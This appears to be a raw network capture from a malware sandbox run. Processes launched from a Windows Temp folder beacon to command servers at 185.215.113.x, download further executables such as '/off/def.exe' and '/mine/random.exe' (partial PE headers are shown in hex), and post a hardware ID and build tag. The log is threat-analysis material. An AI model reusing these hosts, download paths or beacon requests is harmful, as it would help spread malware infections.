Oct 30, 2024 21:56:45.116857052 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 21:56:46.032958984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50275	34.107.221.82	80	6468	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:45.422885895 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 21:56:46.022586107 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 59154 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50278	185.215.113.16	80	6308	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:46.007735014 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 21:56:46.961942911 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:46 GMT Content-Type: application/octet-stream Content-Length: 2837504 Last-Modified: Wed, 30 Oct 2024 20:43:26 GMT Connection: keep-alive ETag: "67229a6e-2b4c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 9c 83 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,+`Ui` @ @.rsrc`2@.idata 8@xkeovjkc+:@pxadkpqa +&+@.taggant@+"+@
Oct 30, 2024 21:56:46.961971045 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:46.961985111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:46.962007999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:46.962033033 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:46.962049007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:46.962064981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:46.962079048 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:46.962094069 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:46.962101936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Ftspnzfw!yyY\|,^,1oh_Vzul#*v+,q{X8{R86VUmTSy
Oct 30, 2024 21:56:46.967977047 CET	1236	IN	Data Raw: 48 2c 7e b4 f9 e0 af 9c c8 b5 52 a5 85 5f 14 bd 86 e8 70 6c c1 e5 da 92 b8 00 8f 52 b7 ce a8 8e b4 b3 74 0d e0 bd 75 a6 17 c5 00 e7 ce f4 d5 f8 2c 36 76 0c cd 14 75 9a e7 fd 8b f5 32 0d c0 14 db ea bb 92 bc 12 f1 ea 76 c1 7c 42 af 83 4a d1 46 58 Data Ascii: H,~R_plRtu,6vu2v\|BJFXI\|9bHv\R8~\|,%>[43x-,,2I49BrM%a]Ev9u+MqwTy,LBHyiKpf4N
Oct 30, 2024 21:56:58.607398987 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 21:56:58.900435925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:58 GMT Content-Type: application/octet-stream Content-Length: 1911296 Last-Modified: Wed, 30 Oct 2024 20:53:56 GMT Connection: keep-alive ETag: "67229ce4-1d2a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@Lj@WkKK @.rsrc@.idata @ +@ibghtiqx1@zeltcjlxK@.taggant0K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50279	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:47.564162016 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 35 32 43 37 36 42 38 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B52C76B85982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 30, 2024 21:56:48.479070902 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50284	34.107.221.82	80	6468	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:49.200160027 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 21:56:49.802685976 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 59136 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50287	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:50.245667934 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 21:56:51.146836996 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50291	185.215.113.206	80	5144	C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:52.628956079 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 21:56:53.526299000 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 21:56:53.552145004 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBGIEGCFHCFHIDHIJEC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 44 32 42 43 38 44 36 42 42 45 32 30 39 39 39 32 35 32 38 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="hwid"D5D2BC8D6BBE2099925286------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="build"tale------AEBGIEGCFHCFHIDHIJEC--
Oct 30, 2024 21:56:53.843785048 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50292	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:52.670201063 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 35 32 43 37 36 42 38 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B52C76B85982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 30, 2024 21:56:53.583082914 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50293	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:55.220025063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 21:56:56.158562899 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50295	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:57.760149002 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 35 32 43 37 36 42 38 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B52C76B85982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 30, 2024 21:56:58.666205883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50301	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:57:00.620474100 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 21:57:01.284329891 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:57:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	50303	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:57:02.315632105 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 21:57:03.253160000 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:57:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 21:57:03.737015009 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAFIIJKJEGIDGDGIIDH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 44 32 42 43 38 44 36 42 42 45 32 30 39 39 39 32 35 32 38 36 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 2d 2d 0d 0a Data Ascii: ------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="hwid"D5D2BC8D6BBE2099925286------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="build"tale------FBAFIIJKJEGIDGDGIIDH--
Oct 30, 2024 21:57:04.025522947 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:57:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50306	185.215.113.16	80	6552	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:57:02.716120958 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 21:57:03.585007906 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:57:03 GMT Content-Type: application/octet-stream Content-Length: 2837504 Last-Modified: Wed, 30 Oct 2024 20:43:26 GMT Connection: keep-alive ETag: "67229a6e-2b4c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 9c 83 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,+`Ui` @ @.rsrc`2@.idata 8@xkeovjkc+:@pxadkpqa +&+@.taggant@+"+@
Oct 30, 2024 21:57:03.585081100 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:57:03.585113049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:57:03.585167885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:57:03.585202932 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:57:03.585257053 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
